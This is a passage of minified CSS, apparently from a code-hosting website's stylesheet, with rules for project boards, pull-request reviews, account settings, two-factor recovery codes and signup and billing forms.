46px}.theme-selector-thumbnail{padding:2px;border:1px solid var(--color-border-muted)}.theme-selector-thumbnail:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.theme-selector-thumbnail.selected{padding:4px;background-color:var(--color-accent-emphasis);border:0}.theme-selector-thumbnail.selected .theme-selector-img{border:1px solid var(--color-canvas-default)}.theme-selector-img{width:126px;height:96px;border-radius:1px}.theme-picker-spinner{position:absolute;top:16px;left:50%;margin-left:-16px;background-color:var(--color-canvas-default);opacity:1;transition:.2s,opacity ease-in-out}.theme-picker-spinner~.theme-picker-controls .theme-name{opacity:0}.theme-picker-view-toggle{float:left}.theme-picker-view-toggle .for-hiding{display:none}.theme-picker-view-toggle.open .for-hiding{display:inline}.theme-picker-view-toggle.open .for-showing{display:none}.theme-picker-controls{position:absolute;top:15px;left:50%;width:220px;margin-left:-110px;line-height:34px;text-align:center}.theme-picker-controls .theme-toggle{vertical-align:middle}.theme-name{display:inline-block;margin-right:8px;margin-left:8px;font-size:20px;line-height:1;vertical-align:middle}.page-preview{z-index:-100;display:block;width:100%;height:6000px;padding:0;background-color:var(--color-canvas-default);border:0}.pinned-items-spinner{position:relative;top:2px;left:6px}.pinned-items-setting-link{font-size:12px;font-weight:400}.pinned-item-name{color:var(--color-fg-default)}.pinned-item-checkbox+.pinned-item-name:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg);border-radius:6px}.pinned-item-checkbox:disabled+.pinned-item-name{color:var(--color-fg-muted)}.pinned-item-checkbox:disabled+.pinned-item-name:hover{cursor:default}.pinned-gist-blob-num{min-width:36px;cursor:default}.pinned-gist-blob-num:hover{color:var(--color-fg-muted);cursor:default}@media print{#serverstats,.Header-old,.Header,.header-search,.reponav,.comment::before,.comment::after,.footer,.pagehead-actions,.discussion-timeline-actions,.timeline-comment-actions,.timeline-new-comment,.thread-subscription-status,.lock-toggle-link,.header,.file-actions,.js-expandable-line,.gh-header-sticky,.pr-toolbar.is-placeholder,.language-color{display:none !important}.repository-lang-stats-graph{height:0}.btn:not(.btn-outline){color:var(--color-fg-default) !important;background:none}p,.comment h2{page-break-inside:avoid}.markdown-body h2{page-break-after:avoid}.topic-tag{padding:0}.topic-tag::before{margin-right:-2px;content:"#"}.blob-num{border-right:2px solid var(--color-border-default)}.blob-num-deletion{border-right-color:var(--color-danger-emphasis)}.blob-num-addition{border-right-color:var(--color-success-emphasis)}.blob-code-addition .x{border-bottom:2px solid var(--color-success-emphasis);border-radius:0}.blob-code-deletion .x{border-bottom:2px solid var(--color-danger-emphasis);border-radius:0}.pr-toolbar.is-stuck{position:static !important;width:100% !important}.diffstat-block-neutral{border:4px solid var(--color-border-default)}.diffstat-block-deleted{border:4px solid var(--color-danger-emphasis)}.diffstat-block-added{border:4px solid var(--color-success-emphasis)}.State{color:var(--color-fg-default);background:none;border:1px solid var(--color-border-default);border-color:none}.State--open{color:var(--color-success-fg);border:1px solid #2cbe4e}.State--merged{color:var(--color-done-fg);border:1px solid var(--color-done-emphasis)}.State--closed{color:var(--color-danger-fg);border:1px solid var(--color-danger-emphasis)}.markdown-body pre>code{white-space:pre-wrap}}.projects-splash-dialog{position:fixed;top:0;right:auto;left:50%;z-index:999;width:90vw;max-width:700px;max-height:80vh;margin:10vh auto;transform:translateX(-50%)}@media(min-width: 544px){.projects-splash-dialog{margin:20vh auto}}.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-mobile.png");background-repeat:no-repeat;background-position:left;background-size:cover}@media(min-width: 768px){.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner.png")}}.projects-splash-banner p{max-width:100%}@media(min-width: 768px){.projects-splash-banner p{max-width:55%}}@media(min-width: 768px){[data-color-mode=light][data-light-theme*=dark] .projects-splash-banner,[data-color-mode=dark][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: light)and (min-width: 768px){[data-color-mode=auto][data-light-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: dark)and (min-width: 768px){[data-color-mode=auto][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}.project-description p:last-child{margin-bottom:0 !important}.pending-cards-status{top:-2px;right:-9px;width:14px;height:14px;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-canvas-default)}.project-column{min-width:100%;max-width:100%;background-color:var(--color-canvas-inset);border-width:0 !important;border-radius:0 !important}.project-column:focus{outline:none}@media(min-width: 544px){.project-column{min-width:355px;max-width:355px;border-width:1px !important;border-radius:6px !important}.project-column:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus)}}.project-column.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus);transform:translateX(4px) translateY(-4px)}.sortable-ghost{background-color:var(--color-canvas-subtle);opacity:.5}.project-card{background-color:var(--color-canvas-overlay)}.project-card .project-reference-markdown>p,.project-card:last-child{margin-bottom:0 !important}.project-card:first-child{margin-top:8px !important}@media(min-width: 544px){.project-card:first-child{margin-top:4px !important}}.project-card ul,.project-card ol{margin-bottom:8px;margin-left:16px}.project-card blockquote{padding:0 .75em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.project-card .contains-task-list{margin-left:24px}.project-card:hover{border-color:var(--color-border-default) !important;box-shadow:0 1px 3px rgba(106,115,125,.3) !important}.project-card:focus{outline:none}@media(min-width: 544px){.project-card:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus) !important}}.project-card.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus) !important;transform:translateX(4px) translateY(0)}.issue-card.draggable{cursor:move}.issue-card .AvatarStack:hover .from-avatar{margin-right:-4px}.issue-card pre{word-wrap:break-word;white-space:pre-wrap}@keyframes show-pane{0%{transform:translateX(390px)}100%{transform:translateX(0)}}.project-note-form textarea{resize:vertical}.card-menu-container .dropdown-menu,.column-menu-container .dropdown-menu{min-width:180px}.card-octicon{top:6px;left:10px}.card-note-octicon{top:8px}.is-sending .auto-search-group .chooser-spinner{top:15px;right:21px;left:auto}.card-filter-autocomplete-dropdown{z-index:500;float:none;min-width:240px;max-height:270px;cursor:pointer}.card-filter-autocomplete-dropdown [aria-selected=true],.card-filter-autocomplete-dropdown .navigation-focus{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis);border-radius:6px}.card-filter-autocomplete-dropdown [aria-selected=true] .autocomplete-text-qualifier,.card-filter-autocomplete-dropdown .navigation-focus .autocomplete-text-qualifier{color:var(--color-fg-on-emphasis) !important}.projects-reset-query:hover .projects-reset-query-icon{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis)}.projects-reset-query-icon{width:18px;height:18px;padding:1px;background-color:var(--color-fg-muted)}.project-small-menu-dropdown::before,.project-small-menu-dropdown::after{display:none}.project-edit-mode .column-menu-container,.project-edit-mode .column-menu-item{display:none !important}.project-edit-mode .project-move-actions{display:flex !important}.push-board-over{padding-right:0 !important;transition:all .2s ease}@media(min-width: 544px){.push-board-over{padding-right:360px !important}}.projects-comment-form .comment-md-support-link{float:none;width:100%;text-align:center}.projects-comment-form .comment-form-actions{width:100%;padding:8px 16px;margin:4px 0 !important}.projects-comment-form .comment-form-actions button{width:100%;margin:4px 0 !important}.projects-comment-form .comment-form-head{padding:0 !important;margin:0 !important;border-bottom:0}.projects-comment-form .comment-form-head .tabnav-tabs{padding:8px 8px 0}.projects-comment-form .comment-form-head .toolbar-commenting{width:100%;padding-top:4px;text-align:center;background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-default)}.projects-comment-form .comment-form-head::after{display:block;clear:both;content:" "}.projects-comment-form .comment-form-textarea{height:250px !important}.projects-comment-form .preview-content{margin:0;border-top:1px solid var(--color-border-default)}.projects-comment-form .preview-content .comment-body{padding:16px}.project-issue-body-wrapper{max-height:200px;overflow:hidden}.Details--on .project-issue-body-wrapper{max-height:none;overflow:visible}.project-issue-body-blur{height:32px;background:linear-gradient(to top, var(--color-project-gradient-in), var(--color-project-gradient-out))}.Details--on .project-issue-body-blur{height:0}.project-comment-title-hover .comment-action,.project-comment-body-hover .comment-action{opacity:0}.project-comment-title-hover:hover .comment-action,.project-comment-body-hover:hover .comment-action{opacity:1}.project-comment-body-reaction .timeline-comment-action{padding:4px 8px}.project-name-hover .project-name-edit-action{opacity:0}.project-name-hover:hover .project-name-edit-action{opacity:1}.vcard-fullname{font-size:24px;line-height:1.25}.vcard-username{font-size:20px;font-style:normal;font-weight:300;line-height:24px;color:var(--color-fg-muted)}.user-profile-bio-message{margin:4px 0 0;font-size:12px;color:var(--color-fg-default)}.user-profile-following-container .user-following-container.on .follow,.user-profile-following-container .user-following-container .unfollow{display:none}.user-profile-following-container .user-following-container .follow,.user-profile-following-container .user-following-container.on .unfollow{display:block}.user-repo-search-results-summary{white-space:normal}.pull-request-tab-content{display:none}.pull-request-tab-content.is-visible{display:block}.discussion-timeline p.explain{margin:0;font-size:12px}.pull-request-ref-restore{display:none}.pull-request-ref-restore-text{display:block}.pull-discussion-timeline.is-pull-restorable .pull-request-ref-restore.last{display:block}.files-bucket{margin-bottom:16px}.full-width .diffbar .container{padding-right:0;padding-left:0}.stale-files-tab{float:left;padding:4px 8px;margin-top:-4px;margin-bottom:-4px;color:var(--color-severe-fg);background-color:var(--color-severe-subtle);border-radius:6px}.stale-files-tab-link{font-weight:600;color:inherit}.pr-toolbar{position:sticky;top:0;z-index:29;min-height:60px;padding:0 16px;margin:-16px -16px 0}.pr-toolbar .float-right .diffbar-item{margin-right:0}.pr-toolbar .float-right .diffbar-item+.diffbar-item{margin-left:16px}.pr-toolbar.is-stuck{height:60px;background-color:var(--color-canvas-default)}@media(min-width: 1150px){.commit-build-statuses .status-checks-dropdown{width:500px}}.full-commit .commit-build-statuses .status-checks-dropdown{width:500px}.files-next-bucket .file,.files-next-bucket .full-commit{margin-top:0;margin-bottom:16px}.diffbar{background-color:var(--color-canvas-default)}.diffbar .show-if-stuck{display:none}.diffbar .container{width:auto}.diffbar .table-of-contents{margin-bottom:0}.diffbar .table-of-contents ol{margin-bottom:-16px}.diffbar .table-of-contents li{border-top:1px solid var(--color-border-muted)}.diffbar .table-of-contents li:first-child{border-top:0}.diffbar [role^=menuitem]:focus:not(.is-range-selected) .text-emphasized,.diffbar [role^=menuitem]:hover:not(.is-range-selected) .text-emphasized{color:var(--color-fg-on-emphasis)}.is-stuck .diffbar .show-if-stuck{display:block}.is-stuck .diffbar .diffstat{display:none}.is-stuck .diffbar .stale-files-tab{margin-top:-8px}.diffbar-item{float:left;font-size:12px;vertical-align:middle}.add-comment-label,.is-review-pending .start-review-label{display:none}.start-review-label,.is-review-pending .add-comment-label{display:inline-block}.is-review-pending .review-simple-reply-button{display:none}.review-comment-contents{margin-left:44px}.review-comment::after,.review-comment-loader::after,.review-comment.is-comment-editing::after{position:absolute;top:31px;left:29px;z-index:-1;width:3px;height:100%;content:"";background-color:var(--color-canvas-subtle)}.review-comment{position:relative;padding:8px 16px;color:var(--color-fg-default)}.review-comment:first-child{padding-top:16px}.review-comment:last-child{padding-bottom:16px}.review-comment .comment-body,.review-comment .comment-reactions{padding:0}.review-comment .comment-body{padding-top:4px}.review-comment .comment-body .suggested-change-form-container:nth-last-of-type(2){margin-bottom:0 !important}.review-comment .comment-reactions{margin-top:4px;border-top:0 !important}.review-comment .comment-reactions.has-reactions{margin-top:12px}.review-comment .show-more-popover.dropdown-menu-sw{right:-5px;margin-top:4px}.review-comment:last-child::after,.review-comment:last-child .review-comment-contents::after{display:none}.review-comment .timeline-comment-action{padding:0 4px}.review-comment .is-comment-editing{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.review-comment .is-comment-editing::after{top:100%;bottom:0;left:19px;height:20px}.review-comment .is-comment-editing .timeline-comment-actions,.review-comment .is-comment-editing .edit-comment-hide{display:none}.review-comment .is-comment-editing .previewable-comment-form{display:block}.review-comment.is-comment-loading .previewable-comment-form{opacity:.5}.pr-review-reactions .has-reactions,.pr-review-reactions .has-reactions.comment-reactions{margin-bottom:16px;margin-left:16px}.timeline-comment.is-comment-editing .discussion-item-header{display:none}.review-thread-reply{padding:8px 16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.review-thread-reply .inline-comment-form{margin:-8px -16px;background-color:var(--color-canvas-default);border:0}.review-thread-reply-button{display:inline-block;min-height:28px;padding:4px 8px;margin-left:8px;cursor:text}.readme.contributing>div{max-height:250px;overflow:auto}.readme .markdown-body,.readme .plain{word-wrap:break-word}.readme .plain pre{font-size:14px;white-space:pre-wrap}.file .readme table[data-table-type=yaml-metadata]{font-size:12px;line-height:1}.file .readme table[data-table-type=yaml-metadata] table{margin:0}.labels-list .blankslate{display:none}.labels-list .table-list-header{display:block}.labels-list.is-empty .blankslate{display:block}.labels-list.is-empty .table-list-header{display:none}.label-select-menu-item .g-emoji{font-size:12px;line-height:1;vertical-align:baseline}.label-edit::before{display:table;content:""}.label-edit::after{display:table;clear:both;content:""}.label-edit label{display:block;margin-bottom:8px}.label-edit .error{float:left;margin-top:8px;margin-left:8px;color:var(--color-danger-fg)}.label-edit.loading{display:block}.label-characters-remaining{color:var(--color-fg-muted)}.repo-list{position:relative}.repo-list-item{position:relative;padding-top:32px;padding-bottom:32px;list-style:none;border-bottom:1px solid var(--color-border-muted)}.repo-list-item-with-avatar{padding-left:42px}.repo-list-item-hanging-avatar{float:left;margin-left:-42px}.mini-repo-list-item{position:relative;display:block;padding:4px 64px 4px 32px;font-size:14px;border-top:1px solid var(--color-border-default)}.mini-repo-list-item:hover{text-decoration:none}.mini-repo-list-item:hover .repo,.mini-repo-list-item:hover .owner{text-decoration:underline}.mini-repo-list-item .repo-icon{float:left;margin-top:2px;margin-left:-16px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-and-owner{max-width:220px}.mini-repo-list-item .owner{max-width:110px}.mini-repo-list-item .repo{font-weight:600}.mini-repo-list-item .stars{position:absolute;top:0;right:10px;margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-description{display:block;max-width:100%;font-size:12px;line-height:21px;color:var(--color-fg-muted)}.private .mini-repo-list-item{background-color:var(--color-attention-subtle)}.private .mini-repo-list-item .repo-icon{color:var(--color-attention-fg)}.form-group.errored label .commit-ref{background-color:var(--color-danger-subtle)}.repo-menu-item:not([aria-current=page])+.repo-sub-menu{display:none}.feature-callout .new-label-hidden{display:none}.feature-callout .new-feature-label.new-label-hidden{display:inline}.repository-og-image{width:100%;max-width:640px;height:320px;object-fit:cover;object-position:center;background-repeat:no-repeat;background-position:center;background-size:cover}.line-clamp-2{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.timeout{width:auto;height:300px;padding:0;margin:16px 0;background-color:transparent;border:0}.timeout h3{padding-top:100px;color:var(--color-fg-muted)}.repo-language-color{position:relative;top:1px;display:inline-block;width:12px;height:12px;border:1px solid var(--color-primer-border-contrast);border-radius:50%}.iconbutton .octicon{margin-right:0}.prereceive-feedback{padding:16px;margin-bottom:16px;border:1px solid #dfe2e5;border-left:6px solid #caa21a;border-radius:6px}.prereceive-feedback-heading{margin-top:0;margin-bottom:8px;color:var(--color-attention-fg)}.repository-item-checkbox:checked+.repository-item-name{background-color:var(--color-accent-subtle)}.custom-role-icon{background-color:var(--color-canvas-subtle)}.profile-picture{margin:8px 0 0}.profile-picture>p{float:left;margin:0;line-height:30px}.profile-picture>img{float:left;margin:0 8px 0 0;border-radius:6px}.app-owner{margin:16px 0 0}.avatar-upload .flash{width:100%;padding:32px 16px;border:dashed 1px var(--color-danger-emphasis);box-shadow:none}.avatar-upload .upload-state{display:none;padding:8px 0}.avatar-upload .upload-state p{margin:0;font-size:12px;color:var(--color-fg-muted)}.avatar-upload .avatar-upload .octicon{display:inline-block}.is-uploading .avatar-upload .loading{display:block;padding:0}.is-uploading .avatar-upload .loading img{vertical-align:top}.is-uploading .avatar-upload .button-change-avatar{display:none}.is-bad-file .avatar-upload .bad-file{display:block;margin:0}.is-too-big .avatar-upload .too-big{display:block;margin:0}.is-bad-dimensions .avatar-upload .bad-dimensions{display:block;margin:0}.is-bad-format .avatar-upload .bad-format{display:block;margin:0}.is-failed .avatar-upload .failed-request{display:block;margin:0}.is-empty .avatar-upload .file-empty{display:block;margin:0}dl.new-email-form{padding:8px 8px 0;margin:0 -8px 8px;border-top:1px solid var(--color-border-default)}.recent-user-key-access{color:#1e7e34}.oauth-app-info-container .float-left-container{float:left;text-align:left}.oauth-app-info-container .float-right-container{float:right;text-align:right}.oauth-app-info-container dl.keys{margin:8px 0}.oauth-app-info-container dl.keys dt{margin-top:8px;font-weight:600;color:var(--color-fg-muted)}.oauth-app-info-container dl.keys dd{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-default)}.oauth-app-info-container .user-count{font-size:32px;font-weight:300;color:var(--color-fg-muted)}.access-token{border-bottom:1px solid var(--color-border-muted)}.access-token:last-child{border:0}.access-token .last-used{margin-right:8px}.access-token.new-token{background-color:rgba(108,198,68,.1)}.access-token.new-token .octicon-check{color:var(--color-success-fg)}.access-token .token-description{max-width:450px;color:var(--color-fg-default)}.access-token .token{font-size:14px}.access-token .token-type{min-width:76px}table.security-history-detail{width:100%;font-size:12px}table.security-history-detail td{max-width:200px;word-wrap:break-word}.u2f-registration{position:relative;padding-bottom:4px;margin-bottom:4px}.u2f-registration.is-sending .u2f-registration-delete{display:none}.u2f-registration.is-sending .spinner{position:relative;top:3px}.u2f-registration-icon{position:absolute;left:-24px;color:var(--color-fg-muted)}.new-u2f-registration{position:relative}.new-u2f-registration .add-u2f-registration-form:not(.for-trusted-device){display:none;margin-bottom:8px}.new-u2f-registration.is-active .add-u2f-registration-link{display:none}.new-u2f-registration.is-active .add-u2f-registration-form{display:block}.new-u2f-registration .webauthn-request-interaction,.new-u2f-registration .webauthn-request-error{display:none}.new-u2f-registration.is-sending .webauthn-request-interaction{display:block}.new-u2f-registration.is-showing-error .webauthn-request-error{display:block}.spinner{display:none}.is-sending .spinner{display:inline-block}.confirmation-phrase{font-style:italic;font-weight:400}.session-device .session-state-indicator.recent{background-color:var(--color-success-emphasis);box-shadow:0 0 10px rgba(108,198,68,.5)}.session-device .session-state-indicator.revoked{background-color:var(--color-danger-emphasis);box-shadow:0 0 10px rgba(198,108,68,.5)}.session-device .session-state-indicator.not-recent{background-image:linear-gradient(#aaa, #ccc);box-shadow:0 1px 0 #fff}.collaborators .collab-list{border-bottom-width:0}.collaborators .collab-list-item:first-child .collab-list-cell{border-top-width:0}.collaborators .collab-list-cell{padding-top:16px;padding-bottom:16px;vertical-align:middle}.collaborators .collab-meta{width:140px}.collaborators .collab-remove{padding-right:16px;text-align:right}.collaborators .collab-remove .remove-link{color:var(--color-fg-muted)}.collaborators .collab-remove .remove-link:hover{color:var(--color-danger-fg)}.collaborators .collab-team-link{width:300px}.collaborators .collab-team-link:hover{text-decoration:none}.collaborators .collab-team-link .avatar{float:left;margin-top:1px;margin-right:8px}.collaborators .collab-team-link.disabled{pointer-events:none}.collaborators .collab-info{height:100%;color:var(--color-fg-default)}.collaborators .collab-info .description{padding-right:50px;margin-top:4px;margin-bottom:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.collaborators .collab-info .collab-name{display:block;font-size:14px}.collaborators .collab-info .collab-message{position:relative;top:25%;display:block}.collaborators .copy-invite-modal{left:0;width:300px}@media(min-width: 768px){.collaborators .copy-invite-modal{right:0;left:unset;width:352px}}.collaborators .copy-invite-modal::before,.collaborators .copy-invite-modal::after{display:none}.access-form-wrapper{padding:8px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.access-flash{padding:8px;margin-right:8px;margin-bottom:8px;margin-left:8px}.repo-access-group .blankslate{display:none}.repo-access-group.is-empty .blankslate{display:block}.boxed-group-list .access-level{color:var(--color-fg-muted)}.boxed-group-list .access-level.css-truncate-target{max-width:500px}.settings-next{font-size:14px;line-height:1.5}.settings-next label{font-size:14px}.settings-next .note{font-size:12px}.settings-next .form-checkbox input[type=radio],.settings-next .form-checkbox input[type=checkbox]{margin-top:4px}dl.form-group>dd textarea.compact{height:100px;min-height:0}.form-hr{margin-top:16px;margin-bottom:16px;border-bottom-color:var(--color-border-default, #e5e5e5)}.listgroup{list-style:none;border:1px solid var(--color-border-default, #e5e5e5);border-radius:6px}.listgroup-item{min-height:inherit;padding:8px;font-size:12px;line-height:26px;color:var(--color-fg-muted)}.listgroup-item::before{display:table;content:""}.listgroup-item::after{display:table;clear:both;content:""}.listgroup-item+.listgroup-item{border-top:1px solid var(--color-border-default, #e5e5e5)}.listgroup-item.listgroup-item-preview{line-height:inherit}.listgroup-item.listgroup-item-preview .BtnGroup{margin-top:4px}.listgroup-item .css-truncate-target{max-width:200px}.listgroup-item-title{display:block;font-weight:600}.listgroup-item-body{display:block}.listgroup-header{border-top:0;border-bottom:1px solid var(--color-border-default, #e5e5e5)}.listgroup-overflow{max-height:240px;overflow-y:auto;background-color:var(--color-canvas-subtle, #f5f5f5)}.listgroup-sm .listgroup-item{padding-top:4px;padding-bottom:4px}.protected-branches{margin-top:16px;margin-bottom:16px}.protected-branch-options{margin-left:16px;opacity:.5}.protected-branch-options.active{opacity:1}.protected-branch-reviews.on .require-code-owner-review,.protected-branch-reviews.on .reviews-dismiss-on-push,.protected-branch-reviews.on .reviews-include-dismiss,.protected-branch-reviews.on .allow-force-pushes,.protected-branch-reviews.on .require-approving-reviews{display:block}.protected-branch-reviews .require-code-owner-review,.protected-branch-reviews .reviews-dismiss-on-push,.protected-branch-reviews .reviews-include-dismiss,.protected-branch-reviews .allow-force-pushes,.protected-branch-reviews .require-approving-reviews{display:none}.authorized-pushers{width:440px}.authorized-pushers .add-protected-branch-actor{display:block}.authorized-pushers .actor-limit-reached{display:none;padding:8px;font-size:12px}.authorized-pushers.at-limit .add-protected-branch-actor{display:none}.authorized-pushers.at-limit .actor-limit-reached{display:block;width:440px}.protected-branch-authorized-pushers-table,.protected-branch-pushers-table{margin-top:8px}.protected-branch-authorized-pushers-table .boxed-group-inner,.protected-branch-pushers-table .boxed-group-inner{max-height:350px;overflow-y:auto}.protected-branch-authorized-pushers-table .table-list,.protected-branch-pushers-table .table-list{border-bottom:0}.protected-branch-authorized-pushers-table .table-list-cell,.protected-branch-pushers-table .table-list-cell{vertical-align:middle}.protected-branch-authorized-pushers-table .table-list-cell:first-child,.protected-branch-pushers-table .table-list-cell:first-child{width:100%}.protected-branch-authorized-pushers-table .avatar,.protected-branch-authorized-pushers-table .octicon-jersey,.protected-branch-authorized-pushers-table .octicon-organization,.protected-branch-pushers-table .avatar,.protected-branch-pushers-table .octicon-jersey,.protected-branch-pushers-table .octicon-organization{width:36px;margin-right:8px;text-align:center}.user-already-added::after{display:inline-block;padding:1px 4px;margin-left:4px;font-size:12px;line-height:1.4;color:var(--color-fg-on-emphasis);content:"Already added";background:var(--color-severe-emphasis);border-radius:6px}.protected-branch-admin-permission{padding:4px;margin:-2px 0 -2px -4px;line-height:normal;border:1px solid transparent;border-radius:6px}.protected-branch-admin-permission.active{animation:toggle-color 1s ease-in-out 0s}@keyframes toggle-color{0%{background-color:transparent}50%{color:#4c4a42;background-color:#fff9ea;border-color:#dfd8c2}100%{background-color:transparent}}.automated-check-options{margin-top:8px}.automated-check-options .listgroup-item label{font-size:inherit}.automated-check-options .listgroup-item input[type=checkbox]{float:none;margin-top:-2px;margin-right:4px;margin-left:0}.automated-check-options .label{margin-top:4px}.repository-settings-actions [role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-color:var(--color-severe-emphasis)}.repository-settings-actions [role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.two-factor-recovery-codes{margin:32px 0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:20px}.two-factor-recovery-code-mark{width:24px;height:24px;font-size:24px;line-height:16px;color:var(--color-fg-muted)}.two-factor-recovery-code{display:inline-block;width:48%;line-height:1.6;text-align:center}.two-factor-recovery-code::before{position:relative;top:-3px;margin-right:8px;font-size:12px;color:var(--color-fg-muted);content:"●"}.recovery-codes-saving-options{margin-left:32px}.recovery-codes-saving-options .recovery-code-save-button{width:115px;margin-right:16px;text-align:center}.recovery-codes-warning{margin:0 -16px}.recovery-codes-warning .recovery-codes-warning-octicon{height:40px;margin-right:16px}.two-factor-steps{padding:16px 16px 0;margin:32px 0;border:1px solid var(--color-border-default);border-radius:6px}.setup-wrapper{width:750px;padding-top:32px;margin:0 auto}.setup-wrapper::before{display:table;content:""}.setup-wrapper::after{display:table;clear:both;content:""}.setup-header{padding-bottom:16px;margin:0 auto 32px;overflow:hidden;text-align:left;border-bottom:1px solid var(--color-border-default)}.setup-header h1{margin-top:0;margin-bottom:0;font-size:48px;font-weight:400;line-height:1.1;letter-spacing:-1px}.setup-header h1 .octicon{color:var(--color-fg-muted)}.setup-header .lead{margin-top:2px;margin-bottom:0;font-size:20px}.setup-header .lead a{color:var(--color-fg-muted)}.setup-header .lead a:hover{color:var(--color-accent-fg);text-decoration:none}.setup-org{padding-bottom:0;border-bottom:0}.setup-main{float:left;width:450px}.setup-secondary{float:right;width:250px}.setup-secondary .info{padding-top:0;padding-bottom:0;margin-top:-8px;font-size:12px;line-height:18px;color:var(--color-fg-muted);text-align:center}.setup-info-module{margin-bottom:32px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,.075)}.setup-info-module h2{padding:16px;margin-bottom:16px;overflow:hidden;font-size:16px;border-bottom:1px solid var(--color-border-default)}.setup-info-module h2 .price{float:right;font-weight:600;color:var(--color-fg-muted)}.setup-info-module h3{padding:0 16px;margin:0 0 -8px;font-size:14px}.setup-info-module p{padding:0 16px;margin:16px 0}.features-list{padding:0 16px 16px;margin:0;font-size:14px;list-style:none}.features-list li{margin-top:8px}.features-list li:first-child{margin-top:0}.features-list .list-divider{margin:16px -16px;border-top:1px solid var(--color-border-muted)}.features-list .octicon-check{margin-right:4px;color:var(--color-success-fg)}.features-list .octicon-question{font-size:12px;color:var(--color-fg-muted)}.features-list .tooltipped::after{width:250px;white-space:normal}.setup-form-container .setup-form-title{font-size:16px}.setup-form-container .secure{float:right;margin-top:2px;font-size:12px;color:var(--color-success-fg);text-transform:uppercase}.setup-form-container hr{margin-top:24px;margin-bottom:24px}.setup-form-container .form-actions{padding-top:0;padding-bottom:0;text-align:left}.team-member-container{margin-bottom:16px}.team-member-container .team-member-username{line-height:1.2}.setup-form{padding-bottom:16px}.setup-form .form-group.successed .error{display:none}.setup-form .form-group dd .form-control{width:100%}.setup-form .form-group dd .form-control.short{width:250px}.setup-form dd{position:relative}.setup-form dd .octicon{position:absolute;top:8px;right:25px}.setup-form .octicon-alert{color:var(--color-danger-fg)}.setup-form .octicon-check{color:var(--color-success-fg)}.setup-form .tos-info,.setup-form .setup-organization-next{margin:16px 0;border-top:1px solid var(--color-border-muted);border-bottom:1px solid var(--color-border-muted)}.setup-form .tos-info{padding:16px 0}.setup-form .setup-organization-next{padding-top:16px;padding-bottom:16px}.setup-form .setup-plans{border-collapse:separate;border:1px solid var(--color-border-default)}.setup-form .setup-plans tr.selected{background-color:var(--color-accent-subtle)}.setup-form .setup-plans .name{font-weight:600}.setup-form .setup-plans .choose-plan input[type=radio]{display:none}.setup-creditcard-form .country-form,.setup-creditcard-form .state-form{float:left;margin:0;word-wrap:normal}.setup-creditcard-form .country-form,.setup-creditcard-form .postal-code-form{margin-top:0;margin-bottom:16px}.setup-creditcard-form .form-group select.select-country{width:182px;margin-right:4px}.setup-creditcard-form .form-group select:invalid{color:var(--color-fg-muted)}.setup-creditcard-form .form-group select.select-state{width:113px}.setup-creditcard-form .form-group .input-vat{width:288px}.setup-creditcard-form .form-group input.input-postal-code{width:180px}.setup-creditcard-form.is-vat-country .vat-field{display:block}.setup-creditcard-form.is-international .form-group select.select-country{width:300px}.setup-creditcard-form.is-international .state-form{display:none}.setup-creditcard-form.no-postcodes .postal-code-form{display:none}.setup-creditcard-form dd .octicon-credit-card{position:inherit}.setup-creditcard-form .vat-field{display:none}.setup-creditcard-form .vat-field.prefilled{display:block}.setup-creditcard-form .help-text{font-size:80%;font-weight:400;color:var(--color-fg-muted)}.user-identification-questions{float:none;width:auto;margin-top:40px}.user-identification-questions .question{margin-bottom:32px}.user-identification-questions .response-group label{font-weight:400}.user-identification-questions .form-checkbox{margin:8px 0}.user-identification-questions .disclaimer{margin:40px 0 0;text-align:center}.user-identification-questions.redesign .question{margin-bottom:96px}.user-identification-questions.redesign .topic-input-container .tag-input{width:100%;border:0;border-bottom:6px solid #000;box-shadow:0 0 0}.signup-plan-summary-subhead{border-bottom:6px solid}.signup-btn:disabled{opacity:.5 !important}.collection-search-results em{padding:.1em;background-color:#faffa6}.draft-tag{padding:4px 8px;font-weight:600;color:#eee;background-color:#404040}.showcase-page-pattern{position:relative;z-index:-1;height:100px;margin-top:-24px;margin-bottom:-70px}.showcase-page-pattern::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;content:"";background-image:linear-gradient(180deg, rgba(255, 255, 255, 0.85), white)}.showcase-page-repo-list{border-top:1px solid var(--color-border-muted)}.slash-command-menu-item 